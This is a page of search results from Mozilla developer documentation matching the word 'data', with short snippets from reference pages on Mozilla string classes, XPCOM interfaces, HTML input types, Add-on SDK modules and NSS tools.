... rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii...
... append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
...And 14 more matches
nsXPIDLString
class declaration nstxpidlstring extends nststring such that: (1) mdata can be null (2) objects of this type can be automatically cast to |const chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, such as "out string" parameters in xpidl.
... rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii...
... append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
...And 14 more matches
mozIStorageValueArray
the mozistoragevaluearray interface obtains provides methods to obtain data from a given result.
...overview long gettypeofindex(in unsigned long aindex); long getint32(in unsigned long aindex); long long getint64(in unsigned long aindex); double getdouble(in unsigned long aindex); autf8string getutf8string(in unsigned long aindex); astring getstring(in unsigned long aindex); void getblob(in unsigned long aindex, out unsigned long adatasize, [array,size_is(adatasize)] out octet adata); boolean getisnull(in unsigned long aindex); attributes attribute type description numentries unsigned long the number of entries in the array.
... constants constant value description value_type_null 0 null data type.
...And 14 more matches
nsIDocShell
method overview void addsessionstorage(in nsiprincipal principal, in nsidomstorage storage); void addstate(in nsivariant adata, in domstring atitle, in domstring aurl, in boolean areplace); void beginrestore(in nsicontentviewer viewer, in boolean top); void createaboutblankcontentviewer(in nsiprincipal aprincipal); void createloadinfo(out nsidocshellloadinfo loadinfo); void detacheditorfromwindow(); violates the xpcom interface guidelines void finishrestore(); vo...
...rincipal(in nsiprincipal principal, in domstring documenturi, in boolean create); nsidomstorage getsessionstorageforuri(in nsiuri uri, in domstring documenturi); void historypurged(in long numentries); void internalload(in nsiuri auri, in nsiuri areferrer, in nsisupports aowner, in pruint32 aflags, in wstring awindowtarget, in string atypehint, in nsiinputstream apostdatastream, in nsiinputstream aheadersstream, in unsigned long aloadflags, in nsishentry ashentry, in boolean firstparty, out nsidocshell adocshell, out nsirequest arequest); native code only!
... charset string the converter to use when reading the document's data.
...And 14 more matches
nsIWebBrowserPersist
var webbrowserpersist = components.classes["@mozilla.org/embedding/browser/nswebbrowserpersist;1"] .createinstance(components.interfaces.nsiwebbrowserpersist); method overview void cancelsave(); void savechannel(in nsichannel achannel, in nsisupports afile); void savedocument(in nsidomdocument adocument, in nsisupports afile, in nsisupports adatapath, in string aoutputcontenttype, in unsigned long aencodingflags, in unsigned long awrapcolumn); void saveuri(in nsiuri auri, in nsisupports acachekey, in nsiuri areferrer, in long areferrerpolicy, in nsiinputstream apostdata, in string aextraheaders, in nsisupports afile, in nsiloadcontext aprivacycontext); void saveprivacyawareuri(in nsiuri auri, in nsisupports acachekey, in...
... nsiuri areferrer, in long areferrerpolicy, in nsiinputstream apostdata, in string aextraheaders, in nsisupports afile, in boolean aisprivate); attributes attribute type description currentstate unsigned long current state of the persister object.
... persistflags unsigned long flags governing how data is fetched and saved from the network.
...And 14 more matches
EventTarget.addEventListener() - Web APIs
break; } } } const myobject = new someclass(); myobject.register(); getting data into and out of an event listener it may seem that event listeners are like islands, and that it is extremely difficult to pass them any data, much less to get any data back from them after they execute.
...so how can we get data in and back out of them again?
... getting data into an event listener using "this" as mentioned above, you can use function.prototype.bind() to pass a value to an event listener via the this reference variable.
...And 14 more matches
<input type="email"> - HTML: Hypertext Markup Language
WebHTMLElementinputemail
additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, email inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid multiple whether or not to allow multiple, comma-separated, e-mail addresses to be entered pattern a regular express...
...'s contents must match in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the contents of the input should be read-only size a number indicating how many characters wide the input field should be list the values of the list attribute is the id of a <datalist> element located in the same document.
... the <datalist> provides a list of predefined values to suggest to the user for this input.
...And 14 more matches
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
document metadata metadata contains information about the page.
... this includes information about styles, scripts and data to help software (search engines, browsers, etc.) use and render the page.
... metadata for styles and scripts may be defined in the page or link to another file that has the information.
...And 14 more matches
ui/frame - Archive of obsolete content
constructing frames the frame constructor takes one mandatory option, which is a url pointing to an html document supplied under your add-ons "data" directory.
...ml> <html> <head> <link href="city-info.css" rel="stylesheet"></link> </head> <body> <select name="city" id="city-selector"></select> <span id="time" class="info-element"></span> <span id="weather" class="info-element"></span> <script type="text/javascript" src="city-info.js"></script> </body> </html> if we save this document as "city-info.html" under the add-on's "data" directory, we can create a frame hosting it and add the frame to a toolbar like this: var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({ url: "./city-info.html" }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); the toolbar is positioned between the address bar and the content window.
...the data property of the event is the message payload.
...And 13 more matches
File I/O - Archive of obsolete content
getting files in special directories components.utils.import("resource://gre/modules/fileutils.jsm"); // get the "data.txt" file in the profile directory var file = fileutils.getfile("profd", ["data.txt"]); or the same without using fileutils.jsm: // get profile directory.
...file.append("data.txt"); // note: "file" is an object that implements nsifile.
... return; } // the file data is contained within inputstream.
...And 13 more matches
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
we start with the request to load a particular link in a particular window, and proceed up to the point at which the data stream is dispatched to the proper handler.
... the final goal is to find the correct stream listener to pump the data into when necko calls ondataavailable (e.g., we may find the html parser as the stream listener to give the data to).
...this is the class that handles deciding where the data from the load should go.
...And 13 more matches
Monitoring downloads - Archive of obsolete content
as a nice bonus, it also demonstrates how to use the storage api to issue sqlite commands on a database.
...in particular, it needs to get an instance of the download manager's nsidownloadmanager interface and create the database into which its data will be stored.
... onload: function() { // initialization code this.initialized = true; this.strings = document.getelementbyid("downloadlogger-strings"); this.dlmgr = components.classes["@mozilla.org/download-manager;1"] .getservice(components.interfaces.nsidownloadmanager); this.dlmgr.addlistener(downloadlogger); // open the database, placing its file in the profile directory this.dbfile = components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); this.dbfile.append("downloadlogger.sqlite"); // get access to the storage service and open the database this.storageservice = components.classes["@mozilla.org/storage/se...
...And 13 more matches
HTML table basics - Learn web development
LearnHTMLTablesBasics
a table is a structured set of data made up of rows and columns (tabular data).
... a table allows you to quickly and easily look up values that indicate some kind of connection between different types of data, for example a person and their age, or a day of the week, or the timetable for a local swimming pool.
... tables are very commonly used in human society, and have been for a long time, as evidenced by this us census document from 1800: it is therefore no wonder that the creators of html provided a means by which to structure and present tabular data on the web.
...And 13 more matches
NSS Certificate Download Specification
this document describes the data formats used by nss 3.x for installing certificates.
... data formats nss can accept certificates in several formats.
... pkcs#7 certificate chain: this is a single pkcs#7 signeddata object.
...And 13 more matches
nss tech note1
pis for these two decoders have an identical prototype : secstatus sec_asn1decodeitem(prarenapool *pool, void *dest, const sec_asn1template *t, secitem *item); secstatus sec_quickderdecodeitem(prarenapool* arena, void* dest, const sec_asn1template* templateentry, secitem* src); here is a description of the arguments : secitem* src† is a structure containing a pointer to the binary data to be decoded, as well as its size.
... decoder templates : the sec_asn1template structure tells the decoder what to do with the input data.
...this 32-bit field tells the decoder what to do with a particular component within the input data.
...And 13 more matches
NSS tools : ssltab
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware command-line proxy.
... it watches tcp connections and displays the data going by.
... if a connection is ssl, the data display includes interpreted ssl records and handshaking options -v print a version string for the tool.
...And 13 more matches
NSS tools : ssltap
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware command-line proxy.
... it watches tcp connections and displays the data going by.
... if a connection is ssl, the data display includes interpreted ssl records and handshaking options -v print a version string for the tool.
...And 13 more matches
NSS tools : ssltap
MozillaProjectsNSStoolsssltap
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware command-line proxy.
... it watches tcp connections and displays the data going by.
... if a connection is ssl, the data display includes interpreted ssl records and handshaking options -v print a version string for the tool.
...And 13 more matches
Redis Tips
this document is a collection of some examples and tips for using redis, the open-source data structure server.
... some uses for redis data types you may have heard of redis referred to as a nosql database.
... technically, this is true: it's a database that doesn't use sql.
...And 13 more matches
NS_ConvertASCIItoUTF16
rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsautostring data members no public members.
...&) - source parameters nsacstring_internal& acstring operator= nsautostring& operator=(const nsautostring&) - source parameters nsautostring& str nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given s...
...And 13 more matches
NS_ConvertUTF16toUTF8
rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscautostring data members no public members.
...tring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - source parameters nscautostring& str nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given ...
...And 13 more matches
NS_ConvertUTF8toUTF16
rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsautostring data members no public members.
...&) - source parameters nsacstring_internal& acstring operator= nsautostring& operator=(const nsautostring&) - source parameters nsautostring& str nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given s...
...And 13 more matches
NS_LossyConvertUTF16toASCII
rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscautostring data members no public members.
...tring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - source parameters nscautostring& str nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given ...
...And 13 more matches
nsACString_internal
tf16toascii"> <area alt="" coords="251,389,435,437" href="http://developer.mozilla.org/en/ns_convertutf16toutf8" shape="rect" title="ns_convertutf16toutf8"> <area alt="" coords="309,293,445,341" href="http://developer.mozilla.org/en/nsadoptingcstring" shape="rect" title="nsadoptingcstring"> </map> method overview constructors beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt...
... replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar data members no public members.
...parameters nscsubstringtuple& tuple void nsacstring_internal(char*, pruint32, pruint32) - source parameters char* data pruint32 length pruint32 flags beginreading char* beginreading() const - source reading iterators nsreadingiterator<char>& beginreading(nsreadingiterator<char>&) const - source deprecated reading iterators parameters nsreadingiterator<char>& iter char*& beginreading(const char*&) const - source parameters char*& iter endreading char* endreading() const - source nsreadingiterator<char>& endreading(nsreadingiterator<char>&) const - sour...
...And 13 more matches
nsAString_internal
tasciitoutf16"> <area alt="" coords="216,389,400,437" href="http://developer.mozilla.org/en/ns_convertutf8toutf16" shape="rect" title="ns_convertutf8toutf16"> <area alt="" coords="277,293,405,341" href="http://developer.mozilla.org/en/nsadoptingstring" shape="rect" title="nsadoptingstring"> </map> method overview constructors beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt...
... replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar data members no public members.
...parameters nssubstringtuple& tuple void nsastring_internal(prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 length pruint32 flags beginreading prunichar* beginreading() const - source reading iterators nsreadingiterator<short unsigned int>& beginreading(nsreadingiterator<short unsigned int>&) const - source deprecated reading iterators parameters nsreadingiterator<short unsigned int>& iter prunichar*& beginreading(const prunichar*&) const - source parameters prunichar*& iter endreading prunichar* endreading() const - source n...
...And 13 more matches
nsAdoptingCString
rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii...
... append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsxpidlcstring data members no public members.
...rator=(const nsadoptingcstring&) - source parameters nsadoptingcstring& str nsxpidlcstring& operator=(const nsxpidlcstring&) - source parameters nsxpidlcstring& str nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple operator const char* char* operator const char*() const - source operator[] char operator[](print32) const - source parameters print32 i char operator[](pruint32...
...And 13 more matches
nsAdoptingString
rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii...
... append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsxpidlstring data members no public members.
...st nsadoptingstring&) - source parameters nsadoptingstring& str nsxpidlstring& operator=(const nsxpidlstring&) - source parameters nsxpidlstring& str nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple operator const prunichar* prunichar* operator const prunichar*() const - source operator[] prunichar operator[](print32) const - source parameters print32 i prunichar ...
...And 13 more matches
nsCString
rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsacstring_internal data members no public members.
... methods constructors void nscstring() - source constructors void nscstring(char) - source parameters char c void nscstring(const char*, pruint32) - source parameters char* data pruint32 length void nscstring(const nscstring&) - source parameters nscstring& str void nscstring(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple void nscstring(const nsacstring_internal&) - source parameters nsacstring_internal& readable operator= nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameter...
...And 13 more matches
nsFixedCString
rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
... methods constructors void nsfixedcstring(char*, pruint32) - source @param data fixed-size buffer to be used by the string (the contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters char* data pruint32 storagesize void nsfixedcstring(char*, pruint32, pruint32) - source parameters char* data pruint32 storagesize pruint32 length operator= nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source p...
...And 13 more matches
nsFixedString
rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
... methods constructors void nsfixedstring(prunichar*, pruint32) - source @param data fixed-size buffer to be used by the string (the contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters prunichar* data pruint32 storagesize void nsfixedstring(prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 storagesize pruint32 length operator= nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const ns...
...And 13 more matches
nsPromiseFlatCString
rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
...ternal&) - source parameters nsacstring_internal& str void nspromiseflatcstring(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple operator= nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given ...
...And 13 more matches
nsPromiseFlatString
rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
...source parameters nsastring_internal& str void nspromiseflatstring(const nssubstringtuple&) - source parameters nssubstringtuple& tuple operator= nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given s...
...And 13 more matches
nsString
rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsastring_internal data members no public members.
... methods constructors void nsstring() - source constructors void nsstring(prunichar) - source parameters prunichar c void nsstring(const prunichar*, pruint32) - source parameters prunichar* data pruint32 length void nsstring(const nsstring&) - source parameters nsstring& str void nsstring(const nssubstringtuple&) - source parameters nssubstringtuple& tuple void nsstring(const nsastring_internal&) - source parameters nsastring_internal& readable operator= nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const nsastring_internal&)...
...And 13 more matches
imgIDecoderObserver
if imgidecoder::flag_sync_decode is passed to a function that triggers a decode, all notifications that can be generated from the currently loaded data fire before the call returns.
...method overview void ondataavailable(in imgirequest arequest, in boolean acurrentframe, [const] in nsintrect arect); native code only!
...est(in imgirequest arequest); void onstopcontainer(in imgirequest arequest, in imgicontainer acontainer); void onstopdecode(in imgirequest arequest, in nsresult status, in wstring statusarg); void onstopframe(in imgirequest arequest, in unsigned long aframe); void onstoprequest(in imgirequest arequest, in boolean aislastpart); methods native code only!ondataavailable decode notification.
...And 13 more matches
nsICachingChannel
support for "pinning" cached data in the cache (for printing and save-as).
... support for uniquely identifying cached data in cases when the url is insufficient.
...method overview boolean isfromcache(); obsolete since gecko 2.0 attributes attribute type description cacheasfile boolean specifies whether or not the data should be cached to a file.
...And 13 more matches
NS_CStringContainerInit2
#include "nsstringapi.h" nsresult ns_cstringcontainerinit2( nscstringcontainer& acontainer, const char* adata = nsnull, pruint32 adatalength = pr_uint32_max, pruint32 aflags = 0 ); parameters acontainer [in] the nscstringcontainer instance to initialize.
... adata [in] an array of characters used to initialize the string object.
... adatalength [in] an optional parameter that specifies the length of the array pointed to by adata.
...And 13 more matches
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
additional attributes in addition to the attributes shared by all <input> elements, image button inputs support the following attributes: attribute description alt alternate string to display when the image can't be shown formaction the url to which to submit the data formenctype the encoding method to use when submitting the form data formmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before submission formtarget a string indicating a browsing context from where to load the results of submitting the form h...
... formaction a string indicating the url to which to submit the data.
... formenctype a string that identifies the encoding method to use when submitting the form data to the server.
...And 13 more matches
self - Archive of obsolete content
access data that is bundled with the add-on, and add-on metadata.
... data the data object is used to access data that was bundled with the add-on.
... this data lives in the add-on's data/ directory, immediately below the package.json file.
...And 12 more matches
widget - Archive of obsolete content
just save the file in your add-on's data directory, and reference it using the data.url() method of the self module: var data = require("sdk/self").data; require("sdk/widget").widget({ id: "my-widget", label: "my widget", contenturl: data.url("my-content.html") }); this widget contains an entire web page: require("sdk/widget").widget({ id: "hello-display", label: "my hello widget", content: "hello!", width: 50 }); wid...
...this html file, and the icon files it references, are saved in the add-on's data directory.
...play_button = document.getelementbyid("play-button"); play_button.onclick = function() { self.port.emit("play"); } var pause_button = document.getelementbyid("pause-button"); pause_button.onclick = function() { self.port.emit("pause"); } var stop_button = document.getelementbyid("stop-button"); stop_button.onclick = function() { self.port.emit("stop"); } we save this file in the add-on's data directory as "button-script.js".
...And 12 more matches
SQLite Templates - Archive of obsolete content
« previousnext » templates may use a datasource that is retrieved from an sqlite database, such as those used by the mozstorage api.
... this allows information from the database to be used to generate xul content.
...this will cause the datasource to be treated as an sqlite database.
...And 12 more matches
XML Templates - Archive of obsolete content
« previousnext » mozilla also supports the use of xml datasources.
... the datasources attribute should be set to the url of an xml document, either a local file or a remote web site.
... an example: <listbox datasources="people.xml" ref="*" querytype="xml"> <template> ...
...And 12 more matches
Introduction to RDF - Archive of obsolete content
resource description framework we can use the tree elements to display a set of data, such as bookmarks or mail messages.
... however, it would be inconvenient to do so by entering the data directly into the xul file.
...the way to solve this is by using rdf datasources.
...And 12 more matches
NPN_PostURL - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary posts data to a url.
... buf path to local temporary file or data buffer that contains the data to post.
...data in buffer cannot be posted for a protocol that requires a header.
...And 12 more matches
UI pseudo-classes - Learn web development
note: a number of the pseudo-classes discussed here are concerned with styling form controls based on their validation state (is their data valid, or not?) you'll learn much more about setting and controlling validation constraints in our next article — client-side form validation — but for now we'll keep things simple with regards to form validation, so it doesn't confuse things.
... styling controls based on whether their data is valid the other really important, fundamental concept in form validation is whether a form control's data is valid or not (in the case of numerical data, we can also talk about in-range and out-of-range data).
... controls with built-in validation, such as <input type="email"> or <input type="url"> are (matched with) :invalid when the data entered into them does not match the pattern they are looking for (but they are valid when empty).
...And 12 more matches
